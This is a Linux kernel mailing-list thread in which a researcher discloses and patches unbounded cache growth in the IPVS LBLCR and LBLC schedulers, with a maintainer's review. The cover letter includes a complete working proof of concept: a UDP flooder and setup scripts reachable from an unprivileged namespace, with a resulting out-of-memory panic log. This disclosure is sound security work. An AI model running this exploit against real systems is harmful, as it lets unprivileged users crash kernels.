* [PATCH nf v2 0/1] ipvs: bound LBLCR and LBLC cache growth
@ 2026-08-17 7:14 Zhiling Zou
2026-08-17 7:14 ` [PATCH nf v2 1/1] " Zhiling Zou
2026-08-17 12:41 ` [PATCH nf v2 0/1] " Julian Anastasov
0 siblings, 2 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-08-17 7:14 UTC (permalink / raw)
To: lvs-devel, netfilter-devel, ja; +Cc: horms, pablo, fw, phil, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/ipvs/ip_vs_lblcr.c.
The bug is reachable by a non-root user through a new user and network
namespace. The same cache growth bound is also missing from the sibling
LBLC scheduler in net/netfilter/ipvs/ip_vs_lblc.c.
We will provide detailed information about the bug in this email,
along with a PoC to trigger it.
---- details below ----
Bug details:
ip_vs_lblcr_new() allocates and publishes an LBLCR cache entry for
every previously unseen destination address. Although tbl->max_size is
initialized to 16384 entries, it is only used by the periodic collector
after cache growth has already exceeded the limit. The collector runs
once per minute and does not reclaim recently used entries.
An attacker can configure a fwmark-based LBLCR service and
continuously send UDP packets to distinct destination addresses. Each
new address creates an entry, allowing the table to grow without bound.
The allocations use GFP_ATOMIC and are not charged to the originating
socket or memory cgroup.
LBLC uses the same cache model and periodic collector. Bound LBLC new
cache entries the same way so both scheduler variants stop growing once
their table has exceeded max_size.
The scheduler selects a destination before attempting to cache it and
already continues to use that destination when cache creation fails.
The fix therefore rejects only new cache entries after tbl->max_size is
exceeded, while normal traffic to new addresses remains serviceable
without further cache growth.
Reproducer:
make
TRACE=0 ./poc.sh ns 1000 2 9001
The command above demonstrates reachability from an unprivileged user
through unshare -Urn. The captured OOM log was produced with:
sysctl -w vm.panic_on_oom=2
TRACE=0 ./poc.sh root 300000 16 9000
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <time.h>
#include <unistd.h>
struct worker_ctx {
unsigned long start;
unsigned long step;
unsigned long count;
uint16_t dport;
};
static atomic_ulong g_sent;
static atomic_ulong g_errors;
static void idx_to_addr(unsigned long idx, struct in_addr *addr)
{
uint32_t octet0 = 198U + ((idx >> 24) & 1U);
uint32_t octet1 = (idx >> 16) & 0xffU;
uint32_t octet2 = (idx >> 8) & 0xffU;
uint32_t octet3 = idx & 0xffU;
uint32_t host = (octet0 << 24) | (octet1 << 16) | (octet2 << 8) | octet3;
addr->s_addr = htonl(host);
}
static void *worker_main(void *arg)
{
struct worker_ctx *ctx = arg;
int fd;
struct sockaddr_in sa;
char payload = 'X';
unsigned long i;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) {
perror("socket");
return NULL;
}
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(ctx->dport);
for (i = ctx->start; i < ctx->count; i += ctx->step) {
unsigned long sent;
idx_to_addr(i, &sa.sin_addr);
if (sendto(fd, &payload, sizeof(payload), 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0) {
atomic_fetch_add_explicit(&g_errors, 1, memory_order_relaxed);
continue;
}
sent = atomic_fetch_add_explicit(&g_sent, 1, memory_order_relaxed) + 1;
if ((sent % 100000UL) == 0) {
fprintf(stderr, "sent=%lu errors=%lu\n", sent,
atomic_load_explicit(&g_errors, memory_order_relaxed));
}
}
close(fd);
return NULL;
}
static unsigned long parse_ul(const char *s, const char *what)
{
char *end = NULL;
unsigned long v;
errno = 0;
v = strtoul(s, &end, 0);
if (errno || !end || *end != '\0') {
fprintf(stderr, "invalid %s: %s\n", what, s);
exit(2);
}
return v;
}
int main(int argc, char **argv)
{
struct timespec ts0, ts1;
pthread_t *threads;
struct worker_ctx *ctxs;
unsigned long count, workers, i;
uint16_t dport = 5555;
double elapsed;
if (argc < 2 || argc > 4) {
fprintf(stderr, "usage: %s <count> [workers] [dport]\n", argv[0]);
return 2;
}
count = parse_ul(argv[1], "count");
workers = (argc >= 3) ? parse_ul(argv[2], "workers") : 4;
if (workers == 0)
workers = 1;
if (argc >= 4) {
unsigned long port = parse_ul(argv[3], "dport");
if (port > 65535) {
fprintf(stderr, "invalid dport: %lu\n", port);
return 2;
}
dport = (uint16_t)port;
}
threads = calloc(workers, sizeof(*threads));
ctxs = calloc(workers, sizeof(*ctxs));
if (!threads || !ctxs) {
perror("calloc");
return 1;
}
clock_gettime(CLOCK_MONOTONIC, &ts0);
for (i = 0; i < workers; i++) {
ctxs[i].start = i;
ctxs[i].step = workers;
ctxs[i].count = count;
ctxs[i].dport = dport;
if (pthread_create(&threads[i], NULL, worker_main, &ctxs[i]) != 0) {
perror("pthread_create");
return 1;
}
}
for (i = 0; i < workers; i++)
pthread_join(threads[i], NULL);
clock_gettime(CLOCK_MONOTONIC, &ts1);
elapsed = (double)(ts1.tv_sec - ts0.tv_sec) +
(double)(ts1.tv_nsec - ts0.tv_nsec) / 1000000000.0;
printf("done sent=%lu errors=%lu elapsed=%.2f sec rate=%.2f pkt/sec\n",
atomic_load_explicit(&g_sent, memory_order_relaxed),
atomic_load_explicit(&g_errors, memory_order_relaxed),
elapsed,
elapsed > 0.0 ?
(double)atomic_load_explicit(&g_sent, memory_order_relaxed) / elapsed :
0.0);
free(ctxs);
free(threads);
return 0;
}
------END poc.c--------
------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail
PATH=/usr/sbin:/usr/bin:/sbin:/bin
MODE="${1:-root}"
COUNT="${2:-17000}"
WORKERS="${3:-4}"
PORT="${4:-9000}"
MARK="${MARK:-123}"
TRACE="${TRACE:-1}"
PANIC_ON_OOM="${PANIC_ON_OOM:-0}"
SCRIPT_DIR="$(cd -- "$(dirname -- "$0")" && pwd)"
BIN="${SCRIPT_DIR}/poc"
IPVS_CTL="${SCRIPT_DIR}/ipvs_sockopt_ctl"
TRACE_DIR=/sys/kernel/tracing
usage() {
echo "usage: $0 [root|ns] [count] [workers] [real_server_port]" >&2
}
cleanup_trace() {
if [[ -d "${TRACE_DIR}/events/kprobes" ]]; then
for e in "${TRACE_DIR}"/events/kprobes/*/enable; do
[[ -e "$e" ]] && echo 0 > "$e" || true
done
echo > "${TRACE_DIR}/kprobe_events" || true
fi
}
start_trace() {
[[ "${TRACE}" == "1" ]] || return 0
mount -t tracefs tracefs "${TRACE_DIR}" 2>/dev/null || true
cleanup_trace
echo 0 > "${TRACE_DIR}/tracing_on"
echo > "${TRACE_DIR}/trace"
echo 'r:lblcr_ret ip_vs_lblcr_schedule entries=+8208(+520($arg1)):u32 max=+8212(+520($arg1)):u32' > "${TRACE_DIR}/kprobe_events"
echo 'entries >= 16380' > "${TRACE_DIR}/events/kprobes/lblcr_ret/filter"
echo 1 > "${TRACE_DIR}/events/kprobes/lblcr_ret/enable"
echo 1 > "${TRACE_DIR}/tracing_on"
}
dump_trace() {
[[ "${TRACE}" == "1" ]] || return 0
echo 0 > "${TRACE_DIR}/tracing_on" || true
echo "== trace tail =="
grep lblcr_ret "${TRACE_DIR}/trace" | tail -10 || true
}
start_udp_sink() {
python3 - "$PORT" <<'PY' &
import socket
import sys
port = int(sys.argv[1])
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", port))
while True:
s.recvfrom(2048)
PY
SINK_PID=$!
trap 'kill ${SINK_PID} 2>/dev/null || true; cleanup_trace' EXIT
}
build_poc() {
if [[ "${IN_NS:-0}" == "1" ]]; then
make -C "${SCRIPT_DIR}" clean all
else
make -C "${SCRIPT_DIR}" clean poc
fi
}
setup_root_netns() {
ip link set lo up
iptables -t mangle -F OUTPUT || true
iptables -t mangle -A OUTPUT -p udp -j MARK --set-mark "${MARK}"
ipvsadm -C || true
ipvsadm -A -f "${MARK}" -s lblcr
ipvsadm -a -f "${MARK}" -r "127.0.0.1:${PORT}" -m -w 1
}
setup_unshared_netns() {
ip link set lo up
ip route add default dev lo
iptables -t mangle -F OUTPUT || true
iptables -t mangle -A OUTPUT -p udp -j MARK --set-mark "${MARK}"
"${IPVS_CTL}" setup "${MARK}" "${PORT}"
}
run_flood() {
"${BIN}" "${COUNT}" "${WORKERS}" 5555
}
show_state() {
echo "== ipvs service =="
ipvsadm -Ln --stats --exact || true
echo "== connection count =="
if [[ -r /proc/net/ip_vs_conn ]]; then
tail -n +2 /proc/net/ip_vs_conn | wc -l
fi
}
if [[ "${MODE}" == "ns" && "${IN_NS:-0}" != "1" ]]; then
exec unshare -Urn env IN_NS=1 PATH="${PATH}" MARK="${MARK}" TRACE="${TRACE}" \
PANIC_ON_OOM="${PANIC_ON_OOM}" "$0" root "${COUNT}" "${WORKERS}" "${PORT}"
fi
if [[ "${MODE}" != "root" && "${MODE}" != "ns" ]]; then
usage
exit 2
fi
if [[ "${EUID}" -ne 0 ]]; then
echo "run as root, or use mode 'ns' from an unprivileged account" >&2
exit 2
fi
if [[ "${PANIC_ON_OOM}" == "1" ]]; then
sysctl -w vm.panic_on_oom=2
fi
build_poc
start_udp_sink
start_trace
if [[ "${IN_NS:-0}" == "1" ]]; then
setup_unshared_netns
else
setup_root_netns
fi
run_flood
show_state
dump_trace
------END poc.sh--------
------BEGIN ipvs_sockopt_ctl.c------
#include <arpa/inet.h>
#include <errno.h>
#include <linux/ip_vs.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
struct ip_vs_svcdest_user {
struct ip_vs_service_user s;
struct ip_vs_dest_user d;
};
static int ipvs_fd(void)
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0)
perror("socket");
return fd;
}
static int do_flush(int fd)
{
return setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_FLUSH, NULL, 0);
}
static int do_add_service(int fd, unsigned fwmark)
{
struct ip_vs_service_user svc;
memset(&svc, 0, sizeof(svc));
svc.protocol = IPPROTO_UDP;
svc.fwmark = fwmark;
strncpy(svc.sched_name, "lblcr", sizeof(svc.sched_name) - 1);
return setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADD, &svc, sizeof(svc));
}
static int do_add_dest(int fd, unsigned fwmark, unsigned short port)
{
struct ip_vs_svcdest_user arg;
memset(&arg, 0, sizeof(arg));
arg.s.protocol = IPPROTO_UDP;
arg.s.fwmark = fwmark;
arg.d.addr = htonl(INADDR_LOOPBACK);
arg.d.port = htons(port);
arg.d.conn_flags = IP_VS_CONN_F_MASQ;
arg.d.weight = 1;
return setsockopt(fd, IPPROTO_IP, IP_VS_SO_SET_ADDDEST, &arg, sizeof(arg));
}
static void usage(const char *prog)
{
fprintf(stderr, "usage: %s flush | setup <fwmark> <real_server_port>\n", prog);
}
int main(int argc, char **argv)
{
int fd, rc;
if (argc < 2) {
usage(argv[0]);
return 2;
}
fd = ipvs_fd();
if (fd < 0)
return 1;
if (strcmp(argv[1], "flush") == 0) {
rc = do_flush(fd);
} else if (strcmp(argv[1], "setup") == 0 && argc == 4) {
unsigned fwmark = strtoul(argv[2], NULL, 0);
unsigned port = strtoul(argv[3], NULL, 0);
if (port > 65535) {
fprintf(stderr, "bad port: %u\n", port);
close(fd);
return 2;
}
rc = do_flush(fd);
if (rc == 0)
rc = do_add_service(fd, fwmark);
if (rc == 0)
rc = do_add_dest(fd, fwmark, (unsigned short)port);
} else {
usage(argv[0]);
close(fd);
return 2;
}
if (rc < 0) {
perror("setsockopt");
close(fd);
return 1;
}
close(fd);
return 0;
}
------END ipvs_sockopt_ctl.c--------
----BEGIN crash log----
[ 442.212292][ T9063] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 442.212990][ T9063] CPU: 3 UID: 0 PID: 9063 Comm: rasdaemon Not tainted 6.12.95 #2
[ 442.213508][ T9063] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 442.214343][ T9063] Call Trace:
[ 442.214610][ T9063] <TASK>
[ 442.214836][ T9063] panic (build/../kernel/panic.c:108)
[ 442.215122][ T9063] ? dump_header (build/../mm/oom_kill.c:164 build/../mm/oom_kill.c:384 build/../mm/oom_kill.c:438 build/../mm/oom_kill.c:474)
[ 442.215437][ T9063] ? __pfx_panic (build/../kernel/panic.c:740)
[ 442.215769][ T9063] out_of_memory (build/../mm/oom_kill.c:292 build/../mm/oom_kill.c:1140)
[ 442.216092][ T9063] ? __alloc_pages_noprof (build/../mm/page_alloc.c:5168)
[ 442.216459][ T9063] ? __pfx_out_of_memory (build/../mm/oom_kill.c:835)
[ 442.216798][ T9063] ? lock_acquire (build/../kernel/locking/lockdep.c:5828)
[ 442.217089][ T9063] ? __alloc_pages_noprof (build/../mm/page_alloc.c:5168)
[ 442.217466][ T9063] __alloc_pages_noprof (build/../mm/page_alloc.c:5709 (discriminator 1))
[ 442.217851][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.218230][ T9063] ? hlock_class+0x4e/0x130
[ 442.218550][ T9063] ? __pfx___alloc_pages_noprof (build/../include/linux/signal.h:87)
[ 442.218913][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.219285][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.219654][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.220026][ T9063] ? __pfx_mark_lock (build/../kernel/locking/lockdep.c:4021)
[ 442.220352][ T9063] ? __pfx_mark_lock (build/../kernel/locking/lockdep.c:4021)
[ 442.220684][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.221049][ T9063] ? lock_acquire.part.0+0x119/0x370
[ 442.221418][ T9063] alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 442.221777][ T9063] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 442.222193][ T9063] new_slab (build/../include/linux/mm.h:2973 build/../include/linux/mm.h:2984 build/../mm/slab.h:153 build/../mm/slub.c:2293 build/../mm/slub.c:3497 build/../mm/slub.c:3525)
[ 442.222480][ T9063] ___slab_alloc (build/../include/linux/kasan.h:263 build/../mm/slub.c:5419)
[ 442.222783][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.223164][ T9063] ? getname_flags.part.0+0x4a/0x4a0
[ 442.223506][ T9063] ? __print_lock_name (build/../kernel/locking/lockdep.c:465 build/../kernel/locking/lockdep.c:5979)
[ 442.223851][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.224234][ T9063] ? getname_flags.part.0+0x4a/0x4a0
[ 442.224585][ T9063] ? __slab_alloc.isra.0+0x5b/0xb0
[ 442.224921][ T9063] ? srso_alias_return_thunk (build/../arch/x86/lib/retpoline.S:220)
[ 442.225292][ T9063] __slab_alloc.isra.0+0x5b/0xb0
[ 442.225616][ T9063] ? getname_flags.part.0+0x4a/0x4a0
[ 442.225954][ T9063] kmem_cache_alloc_noprof (build/../mm/slub.c:4908 (discriminator 1))
[ 442.226383][ T9063] getname_flags.part.0+0x4a/0x4a0
[ 442.233177][ T9063] </TASK>
[ 442.233539][ T9063] Kernel Offset: disabled
[ 442.233839][ T9063] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipvs: bound LBLCR and LBLC cache growth
net/netfilter/ipvs/ip_vs_lblc.c | 3 +++
net/netfilter/ipvs/ip_vs_lblcr.c | 3 +++
2 files changed, 6 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread* [PATCH nf v2 1/1] ipvs: bound LBLCR and LBLC cache growth
2026-08-17 7:14 [PATCH nf v2 0/1] ipvs: bound LBLCR and LBLC cache growth Zhiling Zou
@ 2026-08-17 7:14 ` Zhiling Zou
2026-08-17 12:41 ` [PATCH nf v2 0/1] " Julian Anastasov
1 sibling, 0 replies; 3+ messages in thread
From: Zhiling Zou @ 2026-08-17 7:14 UTC (permalink / raw)
To: lvs-devel, netfilter-devel, ja; +Cc: horms, pablo, fw, phil, vega, zhilinz
ip_vs_lblcr_new() and ip_vs_lblc_new() create cache entries for
every previously unseen destination address. The table max_size only
tells the periodic collector to reclaim entries after the cache has
already exceeded the limit. It does not reclaim entries that the
attacker continues to use.
Reject new cache entries once either table grows beyond max_size. The
existing scheduler fallback continues to use the selected destination
when cache creation fails, so new traffic stays serviceable without
growing the tables further.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Suggested-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v2:
- Change the LBLCR limit check from >= max_size to > max_size.
- Apply the same cache growth bound to LBLC.
- Add Suggested-by: Julian Anastasov <ja@ssi.bg>.
- v1 Link: https://lore.kernel.org/all/62790a9f94ac5318f107a1811cff5a1f2fc7e0bf.1786884824.git.zhilinz@nebusec.ai/
net/netfilter/ipvs/ip_vs_lblc.c | 3 +++
net/netfilter/ipvs/ip_vs_lblcr.c | 3 +++
2 files changed, 6 insertions(+)
diff --git a/net/netfilter/ipvs/ip_vs_lblc.c b/net/netfilter/ipvs/ip_vs_lblc.c
index 693bcc82ccb77..106eae24d3111 100644
--- a/net/netfilter/ipvs/ip_vs_lblc.c
+++ b/net/netfilter/ipvs/ip_vs_lblc.c
@@ -204,6 +204,9 @@ ip_vs_lblc_new(struct ip_vs_lblc_table *tbl, const union nf_inet_addr *daddr,
return en;
ip_vs_lblc_del(en);
}
+ if (atomic_read(&tbl->entries) > tbl->max_size)
+ return NULL;
+
en = kmalloc_obj(*en, GFP_ATOMIC);
if (!en)
return NULL;
diff --git a/net/netfilter/ipvs/ip_vs_lblcr.c b/net/netfilter/ipvs/ip_vs_lblcr.c
index f53f05ceea36f..6e76808063d69 100644
--- a/net/netfilter/ipvs/ip_vs_lblcr.c
+++ b/net/netfilter/ipvs/ip_vs_lblcr.c
@@ -363,6 +363,9 @@ ip_vs_lblcr_new(struct ip_vs_lblcr_table *tbl, const union nf_inet_addr *daddr,
en = ip_vs_lblcr_get(af, tbl, daddr);
if (!en) {
+ if (atomic_read(&tbl->entries) > tbl->max_size)
+ return NULL;
+
en = kmalloc_obj(*en, GFP_ATOMIC);
if (!en)
return NULL;
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread* Re: [PATCH nf v2 0/1] ipvs: bound LBLCR and LBLC cache growth
2026-08-17 7:14 [PATCH nf v2 0/1] ipvs: bound LBLCR and LBLC cache growth Zhiling Zou
2026-08-17 7:14 ` [PATCH nf v2 1/1] " Zhiling Zou
@ 2026-08-17 12:41 ` Julian Anastasov
1 sibling, 0 replies; 3+ messages in thread
From: Julian Anastasov @ 2026-08-17 12:41 UTC (permalink / raw)
To: Zhiling Zou; +Cc: lvs-devel, netfilter-devel, horms, pablo, fw, phil, vega
Hello,
On Mon, 17 Aug 2026, Zhiling Zou wrote:
> Hi Linux kernel maintainers,
>
> We found and validated an issue in net/netfilter/ipvs/ip_vs_lblcr.c.
> The bug is reachable by a non-root user through a new user and network
> namespace. The same cache growth bound is also missing from the sibling
> LBLC scheduler in net/netfilter/ipvs/ip_vs_lblc.c.
Sashiko reports for a missing atomic_dec(&tbl->entries)
in ip_vs_lblc_new(), after the ip_vs_lblc_del(en) call:
https://sashiko.dev/#/patchset/17cbb1d0649f4e19aa2e407ab4b528d42b8edac4.1786949472.git.zhilinz%40nebusec.ai
But it is not related to this patch. The GC
probably needs to be improved because with this patch
we should be freeing 16 entries in average from single
bucket but before that we are not caching new dests for
60 secs.
While max_size works like a low threshold for
entries in cache, we do not define maximum to apply.
After checking the code again, we may need to provide more
bonus for the normal traffic to cache entries in the next
minute (eg. +50%) while we are freeing cached entries in
the background to free space for the new dests. Because
without caching we are not using the servers persistently.
May be separate patch can rename max_size to
min_size and to add max_size = min_size * 3 / 2 as a
limit for allocations. For this patch we can use just
"max_size * 3 / 2".
Regards
--
Julian Anastasov <ja@ssi.bg>
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-08-17 12:41 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-17 7:14 [PATCH nf v2 0/1] ipvs: bound LBLCR and LBLC cache growth Zhiling Zou
2026-08-17 7:14 ` [PATCH nf v2 1/1] " Zhiling Zou
2026-08-17 12:41 ` [PATCH nf v2 0/1] " Julian Anastasov
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.